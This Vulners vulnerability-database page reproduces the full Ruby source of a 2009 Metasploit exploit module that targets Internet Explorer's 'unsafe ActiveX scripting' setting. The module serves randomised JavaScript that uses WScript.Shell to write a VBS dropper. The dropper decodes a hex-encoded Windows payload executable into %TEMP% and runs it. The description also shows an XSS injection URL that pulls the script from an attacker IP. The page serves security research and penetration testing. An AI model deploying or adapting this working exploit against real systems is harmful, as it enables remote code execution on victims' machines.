Lucene search
K

Internet Explorer Unsafe Scripting Misconfiguration

🗓️ 26 Nov 2009 00:00:00Reported by natronType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 34 Views

Internet Explorer Unsafe Scripting Misconfiguration. Exploit takes advantage of unsafe scripting setting in IE allowing WScript.Shell ActiveX control access. It triggers cross domain access violation saving binary data

Code
`##  
#  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Internet Explorer Unsafe Scripting Misconfiguration',  
'Description' => %q{  
This exploit takes advantage of the "Initialize and script ActiveX controls not  
marked safe for scripting" setting within Internet Explorer. When this option is set,  
IE allows access to the WScript.Shell ActiveX control, which allows javascript to  
interact with the file system and run commands. This security flaw is not uncommon   
in corporate environments for the 'Intranet' or 'Trusted Site' zones. In order to   
save binary data to the file system, ADODB.Stream access is required, which in IE7   
will trigger a cross domain access violation. As such, we write the code to a .vbs  
file and execute it from there, where no such restrictions exist.  
  
When set via domain policy, the most common registry entry to modify is HKLM\  
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,  
which if set to '0' forces ActiveX controls not marked safe for scripting to be   
enabled for the Intranet zone.  
  
This module creates a javascript/html hybrid that will render correctly either   
via a direct GET http://msf-server/ or as a javascript include, such as in:  
http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>  
</script>.  
},  
'License' => MSF_LICENSE,  
'Author' =>   
[   
'natron'  
],  
'Version' => '$Revision$',  
'References' =>   
[  
[ 'MS', 'http://support.microsoft.com/kb/182569' ],  
[ 'blog', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ],  
],  
'Payload' =>  
{  
'Space' => 2048,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
  
],  
'DefaultOptions' =>   
{   
'HTTP::compression' => 'gzip'   
},  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
  
#print_status("Starting...");  
# Build out the HTML response page  
var_shellobj = rand_text_alpha(rand(5)+5);  
var_fsobj = rand_text_alpha(rand(5)+5);  
var_fsobj_file = rand_text_alpha(rand(5)+5);  
var_vbsname = rand_text_alpha(rand(5)+5);  
var_writedir = rand_text_alpha(rand(5)+5);  
var_exename = rand_text_alpha(rand(5)+5);  
var_origLoc = rand_text_alpha(rand(5)+5);  
var_byteArray = rand_text_alpha(rand(5)+5);  
var_stream = rand_text_alpha(rand(5)+5);  
var_writestream = rand_text_alpha(rand(5)+5);  
var_strmConv = rand_text_alpha(rand(5)+5);  
  
p = regenerate_payload(cli);  
print_status("Request received from #{cli.peerhost}:#{cli.peerport}...");  
exe = Msf::Util::EXE.to_win32pe(framework,p.encoded);  
#print_status("Building vbs file...");  
# Build the content that will end up in the .vbs file  
vbs_content = Rex::Text.to_hex(%Q|Dim #{var_origLoc}, s, #{var_byteArray}  
#{var_origLoc} = SetLocale(1033)  
|)  
  
print_status("Encoding payload into vbs/javascript/html...");  
# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)  
# for conversion with ADODB.Stream  
vbs_content << Rex::Text.to_hex("\ts = s & Chr(CInt(\"&H#{("%.2x" % exe[0]).upcase}\"))\r\n")  
  
1.upto(exe.length) do |i|  
vbs_content << Rex::Text.to_hex("\ts = s & Chr(CInt(\"&H#{("%.2x" % exe[i]).upcase}\"))\r\n")  
end  
  
# Continue with the rest of the vbs file;   
# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent  
# Then use ADODB.Stream again to write the binary to file.  
#print_status("Finishing vbs...");  
vbs_content << Rex::Text.to_hex(%Q|  
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}  
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{var_exename}.exe"  
  
Set #{var_strmConv} = CreateObject("ADODB.Stream")  
  
#{var_strmConv}.Type = 2  
#{var_strmConv}.Charset = "x-ansi"  
#{var_strmConv}.Open  
#{var_strmConv}.WriteText s, 0  
#{var_strmConv}.Position = 0  
#{var_strmConv}.Type = 1  
#{var_strmConv}.SaveToFile #{var_writedir}, 2  
  
SetLocale(#{var_origLoc})|)  
  
# Encode the vbs_content  
#print_status("Hex encoded vbs_content: #{vbs_content}");  
  
# Build the javascript that will be served  
js_content = %Q|  
//<html><head></head><body><script>  
var #{var_shellobj} = new ActiveXObject("WScript.Shell");  
var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");  
var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");  
var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);  
  
#{var_fsobj_file}.Write(unescape("#{vbs_content}"));  
#{var_fsobj_file}.Close();  
  
#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);  
#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{var_exename}.exe", 0, false);  
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");  
//</script></html>  
|  
  
print_status("Sending exploit html/javascript to #{cli.peerhost}:#{cli.peerport}...");  
print_status("Exe will be #{var_exename}.exe and must be manually removed from the %TEMP% directory on the target.");  
  
# Transmit the response to the client  
send_response(cli, js_content, { 'Content-Type' => 'text/html' })  
  
# Handle the payload  
handler(cli)   
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Nov 2009 00:00Current
0.1Low risk
Vulners AI Score0.1
34